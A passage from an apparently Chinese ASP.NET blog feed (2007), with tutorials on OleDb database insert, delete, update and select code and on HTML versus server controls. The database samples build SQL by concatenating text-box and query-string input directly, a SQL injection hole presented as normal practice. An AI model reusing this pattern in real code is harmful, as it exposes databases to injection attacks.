System.Data.SqlClient;&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　四、增加数据库数据(增加新闻)&lt;/p&gt;&lt;p&gt;&lt;table style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td style="WORD-WRAP: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;// myConnStr获得数据库连接字符串;建立连接对象myConn &lt;br&gt;　　string myConnStr = System.Configuration.ConfigurationManager.ConnectionStrings["zgdxConn"].ConnectionString; &lt;br&gt;　　OleDbConnection myConn = new OleDbConnection(myConnStr); &lt;br&gt;　　//queryStr书写向表news插入留言记录的SQL命令;建立Adapter对象执行SQL命令 &lt;br&gt;　　string queryStr = "insert into news(lanmuId,title,name,content) values (" + DropDownList1.SelectedItem.Value + ",’" + TextBox1.Text + "’,’" + TextBox2.Text + "’,’" + TextBox3.Text + "’)"; &lt;br&gt;　　OleDbCommand myCom = new OleDbCommand(queryStr, myConn); &lt;br&gt;　　myCom.Connection.Open();//打开数据库连接; &lt;br&gt;　　myCom.ExecuteNonQuery();//执行SQL命令到数据库; &lt;br&gt;　　myCom.Connection.Close();//关闭数据库连接&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　五、删除数据库中的数据(删除新闻)&lt;/p&gt;&lt;p&gt;　　 &lt;table style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td style="WORD-WRAP: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;// myConnStr获得数据库连接字符串;建立连接对象myConn &lt;br&gt;　　string myConnStr = System.Configuration.ConfigurationManager.ConnectionStrings["zgdxConn"].ConnectionString; &lt;br&gt;　　OleDbConnection myConn = new OleDbConnection(myConnStr); &lt;br&gt;　　//queryStr书写向表news插入留言记录的SQL命令;建立Adapter对象执行SQL命令 &lt;br&gt;　　string queryStr = "delete from news where id="+Request.QueryString["id"]; &lt;br&gt;　　OleDbCommand myCom = new OleDbCommand(queryStr, myConn); &lt;br&gt;　　myCom.Connection.Open();//打开数据库连接; &lt;br&gt;　　myCom.ExecuteNonQuery();//执行SQL命令到数据库; &lt;br&gt;　　myCom.Connection.Close();//关闭数据库连接&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　六、更新数据库中的数据(更新已填写的新闻)&lt;/p&gt;&lt;p&gt;　　 &lt;table style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td style="WORD-WRAP: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;//myConnStr获得数据库连接字符串;建立连接对象myConn &lt;br&gt;　　string myConnStr = System.Configuration.ConfigurationManager.ConnectionStrings["zgdxConn"].ConnectionString; &lt;br&gt;　　OleDbConnection myConn = new OleDbConnection(myConnStr); &lt;br&gt;　　//queryStr书写向表news插入留言记录的SQL命令;建立Adapter对象执行SQL命令 &lt;br&gt;　　string queryStr = "update news set title= ’" + TextBox1.Text + "’,name= ’" + TextBox2.Text + "’,content= ’" + TextBox3.Text + "’ where id=" + int.Parse(Request.QueryString["id"].ToString()); &lt;br&gt;　　OleDbCommand myCom = new OleDbCommand(queryStr, myConn); &lt;br&gt;　　myCom.Connection.Open();//打开数据库连接; &lt;br&gt;　　myCom.ExecuteNonQuery();//执行SQL命令到数据库; &lt;br&gt;　　myCom.Connection.Close();//关闭数据库连接&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　七、显示数据库中的数据(显示已填写的新闻)&lt;/p&gt;&lt;p&gt;&lt;table style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td style="WORD-WRAP: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;//MyConnString获得数据库连接字符串;建立连接对象MyConn &lt;br&gt;　　string myConnStr = System.Configuration.ConfigurationManager.ConnectionStrings["zgdxConn"].ConnectionString; &lt;br&gt;　　OleDbConnection MyConn = new OleDbConnection(myConnStr); &lt;br&gt;　　//queryStr书写选择所有留言的SQL命令;建立Adapter对象执行SQL命令 &lt;br&gt;　　string queryStr = "select * from news where id="+int.Parse(Request.QueryString["id"].ToString()); &lt;br&gt;　　OleDbDataAdapter MyAdapter = new OleDbDataAdapter(queryStr, MyConn); &lt;br&gt;　　//建立DataSet对象ds;利用Adapter的Fill方法把SQL命令执行的结果倒入DataSet对象 &lt;br&gt;　　DataSet ds = new DataSet(); &lt;br&gt;　　MyAdapter.Fill(ds, "news"); &lt;br&gt;　　TextBox1.Text = ds.Tables["news"].Rows[0]["title"].ToString(); //取出内存中的结果，在文本框显示 &lt;br&gt;　　TextBox2.Text = ds.Tables["news"].Rows[0]["name"].ToString(); //取出内存中的结果，在文本框显示 &lt;br&gt;　　TextBox3.Text = ds.Tables["news"].Rows[0]["content"].ToString();//取出内存中的结果，在文本框显示&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　&lt;strong&gt;数据库操作总结&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;　　一、插入、删除、更新都是按以下操作步骤：&lt;/p&gt;&lt;p&gt;　　1、 建立连接对象：OleDbConnection&lt;/p&gt;&lt;p&gt;　　(书写SQL语句)&lt;/p&gt;&lt;p&gt;　　2、建立命令对象：OleDbCommand&lt;/p&gt;&lt;p&gt;　　3、执行命令： ExecuteNonQuery&lt;/p&gt;&lt;p&gt;　　经验：对于插入、删除、更新操作。代码都是一样的，只是SQL语句不一样&lt;/p&gt;&lt;p&gt;　　二、对于显示数据是按以下操作步骤&lt;/p&gt;&lt;p&gt;　　1、建立连接对象： OleDbConnection&lt;/p&gt;&lt;p&gt;　　(书写SQL语句)&lt;/p&gt;&lt;p&gt;　　2、建立Adapter对象：OleDbDataAdapter&lt;/p&gt;&lt;p&gt;　　3、建立表集合对象： DataSet&lt;/p&gt;&lt;p&gt;　　映射&lt;/p&gt;&lt;p&gt;　　4、把服务器端的表映射到本地的表集合中：Adapter.Fill(本地表集合, "服务器表");&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=114</guid><pubDate>Sun, 30 Sep 2007 01:36:00 GMT</pubDate></item><item><title>[.NET]简单介绍Asp.net几个控件的区别</title><link>http://www.chendw.cn:8080/view.aspx?id=113</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;span &gt;&lt;/span&gt; &lt;div class="guanggao"&gt;&lt;span &gt;  &lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;font face="Verdana"&gt;　　&lt;strong&gt;&lt;a title="Asp.net" href="http://dev.yesky.com/msdn/msdnasp" target="_blank"&gt;Asp.net&lt;/a&gt;&lt;/strong&gt;之所以现在开发方便和快捷，关键是它有一组强大的控件库，包括web服务器控件,web用户控件，web自定义控件，html服务器控件和html控件等。这里我主要说说html控件、html服务器控件和web服务器&lt;strong&gt;控件的区别&lt;/strong&gt;。&lt;br&gt;　　1、html控件:就是我们通常的说的html语言标记，这些语言标记在已往的静态页面和其他网页里存在,不能在服务器端控制的，只能在客户端通过javascript和vbscript等程序语言来控制。&lt;/font&gt;&lt;font face="Verdana"&gt;&lt;/font&gt;&lt;font face="Verdana"&gt;　　2、html服务器控件:其实就是html控件的基础上加上runat="server"所构成的控件.它们的注意区别是运行方式不同，html控件运行在客户端，而html服务器控件是运行在服务器端的。参考其他资料是这样说的:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 当ASP.NET 网页执行时，会检查标注有无runat 属性，如果标注没有设定，那么Html标注就会被视为字符串，并被送到字符串流等待送到客户端，客户端的浏览器会对其进行解释；如果Html标注有设定runat="server" 属性，Page 对象会将该控件放入控制器，服务器端的代码就能对其进行控制，等到控制执行完毕后再将Html服务器控件的执行结果转换成Html标注，然后当成字符串流发送到客户端进行解释 &lt;/font&gt;&lt;font face="Verdana"&gt;　　3、web服务器控件:也称asp.net服务器控件，是Web Form编程的基本元素，也是asp.net所特有的。它会按照client的情况产生一个或者多个html控件，而不是直接描述html元素。如： &lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;table style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td style="WORD-WRAP: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;&amp;lt;input type="button" id="btn" value="button"/&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;table style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td style="WORD-WRAP: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;&amp;lt;input id="Button" type="button" value="button" runat="server" /&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;&lt;table style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td style="WORD-WRAP: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;&amp;lt;asp:Button ID="Button2" runat="server" Text="Button"/&amp;gt;&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　那么它和html服务器控件有什么区别呢?参照其他网页的资料看法如下：&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1、 Asp.net服务器控件提供更加统一的编程接口，如每个Asp.net服务器控件都有Text属性。&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2、 隐藏客户端的不同，这样程序员可以把更多的精力放在业务上，而不用去考虑客户端的浏览器是ie还是firefox，或者是移动设备。&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3、 Asp.net服务器控件可以保存状态到ViewState里，这样页面在从客户端回传到服务器端或者从服务器端下载到客户端的过程中都可以保存。&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 4、 事件处理模型不同，Html标注和Html服务器控件的事件处理都是在客户端的页面上，而Asp.net服务器控件则是在服务器上，举例来说：&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;table style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td style="WORD-WRAP: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;&amp;lt;input id="Button4" type="button" value="button" runat="server"/&amp;gt;&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　是Html服务器控件，此时我们点击此按钮，页面不会回传到服务器端，原因是我们没有为其定义鼠标点击事件。&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;table style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td style="WORD-WRAP: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;&amp;lt;input id="Button4" type="button" value="button" runat="server" onserverclick="test" /&amp;gt;&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　我们为Html服务器控件添加了一个onserverclick事件，点击此按钮页面会发回服务器端，并执行test(object sender, EventArgs e)方法。&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;table style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td style="WORD-WRAP: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt; &amp;lt;asp:Button ID="Button2" runat="server" Text="Button" /&amp;gt;&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　是Asp.net服务器控件，并且我们没有为其定义click，但是我们点击时，页面也会发回到服务器端。&lt;br&gt;　　由此可见：Html标注和Html服务器控件的事件是由页面来触发的，而Asp.net服务器控件则是由页面把Form发回到服务器端，由服务器来处理。&lt;br&gt;　　4、下面我就结合我自己的测试来说明问题：&lt;br&gt;　　　　这段代码是我放在repeat中的模板里的:其中DeleteCheck是一个js脚本函数，注意是用于是否发送到服务器端的，这里就不展示脚本代码了。&amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;table style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td style="WORD-WRAP: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;&amp;lt;input runat="server" type="button" id="delete" value="Server button" /&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;input type="button" onclick="return DeleteCheck(this)" id="Button1" value="Client button" /&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;input runat="server" type="submit" onclick="return DeleteCheck(this)" id="Button2" value="Server submit" /&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;input type="submit" onclick="return DeleteCheck(this)" id="Button3" value="Client submit" /&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;button runat="server" id="button4" onclick="return DeleteCheck(this)" value="Button-Button"&amp;gt;Button-Button&amp;lt;/button&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;asp:Button runat="server" ID="button5" OnClientClick="return DeleteCheck(this)" Text="Asp:button" /&amp;gt; &lt;br&gt;展现出来的html代码如下：&amp;nbsp;&amp;nbsp; &amp;lt;input name="Data$ctl03$delete" type="button" id="Data_ctl03_delete" value="Server button" /&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;input type="button" onclick="return DeleteCheck(this)" id="Button1" value="Client button" /&amp;gt; &lt;br&gt; &amp;lt;input name="Data$ctl03$Button2" type="submit" id="Data_ctl03_Button2" onclick="return DeleteCheck(this)" value="Server submit" / &amp;gt;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;input ut type="submit" onclick="return DeleteCheck(this)" id="Button3" value="Client submit" /&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;button id="Data_ctl03_button4" onclick="return DeleteCheck(this)" value="Button-Button"&amp;gt;Button-Button&amp;lt;/button&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp; &amp;lt;input type="submit" name="Data$ctl03$button5" value="Asp:button" onclick="return DeleteCheck(this);" id="Data_ctl03_button5" /&amp;gt;&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　可以看出以下几点:&lt;br&gt;　　1、当控件属性中有runat="server"时，生成的html控件时name和id发生的变化(.net Framework)。&lt;br&gt;　　2、当asp:button服务器按钮通过生成的页面后转化成类型为submit类型的Client控件。&lt;br&gt;　　3、当控件是html控件时通过生成的页面和原来的html代码完全一样(理由上面已经说名)。&lt;br&gt;　　　 另外我还测试了把这段代码直接放到form标记中(不放到其他子标记中)如:&amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;table style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td style="WORD-WRAP: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;&amp;lt;input runat="server" type="button" id="delete" value="Server button" onserverclick="delete_ServerClick" /&amp;gt; &lt;br&gt; &amp;lt;input type="button" onclick="return DeleteCheck(this)" id="Button1" value="Client button" /&amp;gt; &lt;br&gt; &amp;lt;input runat="server" type="submit" onclick="return DeleteCheck(this)" id="Button2" value="Server submit" /&amp;gt; &lt;br&gt; &amp;lt;input type="submit" onclick="return DeleteCheck(this)" id="Button3" value="Client submit" /&amp;gt; &lt;br&gt; &amp;lt;button runat="server" id="button4" onclick="return DeleteCheck(this)" value="Button-Button"&amp;gt;Button-Button&amp;lt;/button&amp;gt; &lt;br&gt; &amp;lt;asp:Button runat="server" ID="button5" OnClientClick="return DeleteCheck(this)" Text="Asp:button" OnClick="button5_Click" /&amp;gt; &lt;br&gt; &amp;lt;asp:LinkButton ID="LinkButton1" runat="server" OnClick="LinkButton1_Click"&amp;gt;LinkButton&amp;lt;/asp:LinkButton&amp;gt;直接放到form标记中生成的html代码 &lt;br&gt;&amp;lt;script type="text/javascript"&amp;gt; &lt;br&gt;&amp;lt;!-- &lt;br&gt;var theForm = document.forms['form1']; &lt;br&gt;if (!theForm) { &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; theForm = document.form1; &lt;br&gt;} &lt;br&gt;function __doPostBack(eventTarget, eventArgument) { &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (!theForm.onsubmit || (theForm.onsubmit() != false)) { &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; theForm.__EVENTTARGET.value = eventTarget; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; theForm.__EVENTARGUMENT.value = eventArgument; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; theForm.submit(); &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br&gt;} &lt;br&gt;// --&amp;gt; &lt;br&gt;&amp;lt;/script&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;input language="javascript" onclick="__doPostBack('delete','')" name="delete" type="button" id="delete" value="Server button" /&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;input type="button" onclick="return DeleteCheck(this)" id="Button1" value="Client button" /&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;input name="Button2" type="submit" id="Button2" onclick="return DeleteCheck(this)" value="Server submit" /&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;input type="submit" onclick="return DeleteCheck(this)" id="Button3" value="Client submit" /&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;button id="button4" onclick="return DeleteCheck(this)" value="Button-Button"&amp;gt;Button-Button&amp;lt;/button&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;input type="submit" name="button5" value="Asp:button" onclick="return DeleteCheck(this);" id="button5" /&amp;gt; &lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;a id="LinkButton1" href="javascript:__doPostBack('LinkButton1','')"&amp;gt;LinkButton&amp;lt;/a&amp;gt;&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　这里有可以看出几点：&lt;br&gt;　　1、当html服务器控件在服务器端添加了服务器事件后生成的代码变为:onclick="_doPostBack()"，实际上是调用脚本把整个窗体提交到服务器(如果没有添件服务器事件　　　　而只是添加了runat="server"是不会发送到服务器端的)这里注意如果要在html服务器控件中添加一个客户端事件如上面的 &lt;/p&gt;&lt;p&gt;&lt;table style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td style="WORD-WRAP: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;&amp;lt;input runat="server" type="button" id="delete" value="Server button" onserverclick="delete_ServerClick" /&amp;gt; &lt;br&gt;变成 &amp;lt;input runat="server" type="button" id="delete" value="Server button" onclick="return DeleteCheck(this)" onserverclick="delete_ServerClick" /&amp;gt;&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　那样生成的html代码变成&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;table style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td style="WORD-WRAP: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt; &amp;lt;input language="javascript" onclick="return DeleteCheck(this)&amp;nbsp;&amp;nbsp; __doPostBack('delete','')" name="delete" type="button" id="delete" value="Server button" /&amp;gt;&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　提示有脚本错误原因是onclick事件执行了2个脚本且书写的格式不正确。 &lt;/p&gt;&lt;p&gt;&lt;table style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td style="WORD-WRAP: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;onclick="return DeleteCheck(this)；_doPostBack()"&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　这样的话就只能执行第一个函数而第二个函数就不能执行了(return).如果用 &lt;/p&gt;&lt;p&gt;&lt;table style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td style="WORD-WRAP: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;onclick="return DeleteCheck(this)，_doPostback()"&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　是指2个函数同时都要执行没有影响(相当于一条语句)。&lt;br&gt;　　2、控件的名字没有发生变化，这个问题我也不太明白为什么不发生变化，请高手门指教哈&lt;br&gt;　　3、asp:button中的onclientclick事件生成后就变成了onclick事件了,类型变成了type="submit".然而服务器事件的onclick我想是通过发送到服务器端执行的(具体我也不太很清楚)。&lt;br&gt;　　4、LinkButton不定义onclick事件，它会自动的生成下面代码发送到服务器端。&amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;table style="BORDER-RIGHT: #cccccc 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #cccccc 1px dotted; BORDER-LEFT: #cccccc 1px dotted; BORDER-BOTTOM: #cccccc 1px dotted" cellspacing="0" cellpadding="6" width="95%" align="center" border="0"&gt;&lt;tbody&gt;    &lt;tr&gt;        &lt;td style="WORD-WRAP: break-word" bgcolor="#f3f3f3"&gt;&lt;font style="FONT-WEIGHT: bold; COLOR: #990000"&gt;以下是引用片段：&lt;/font&gt;&lt;br&gt;href="javascript:__doPostBack('LinkButton1',' ')"&lt;/td&gt;    &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/p&gt;&lt;p&gt;　　以上是我对asp.net控件进行了简单的介绍。这只是我个人的观点总结，有什么不正确的希望朋友能够提出来，我们大家共同讨论，共同进步。&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=113</guid><pubDate>Thu, 27 Sep 2007 05:01:00 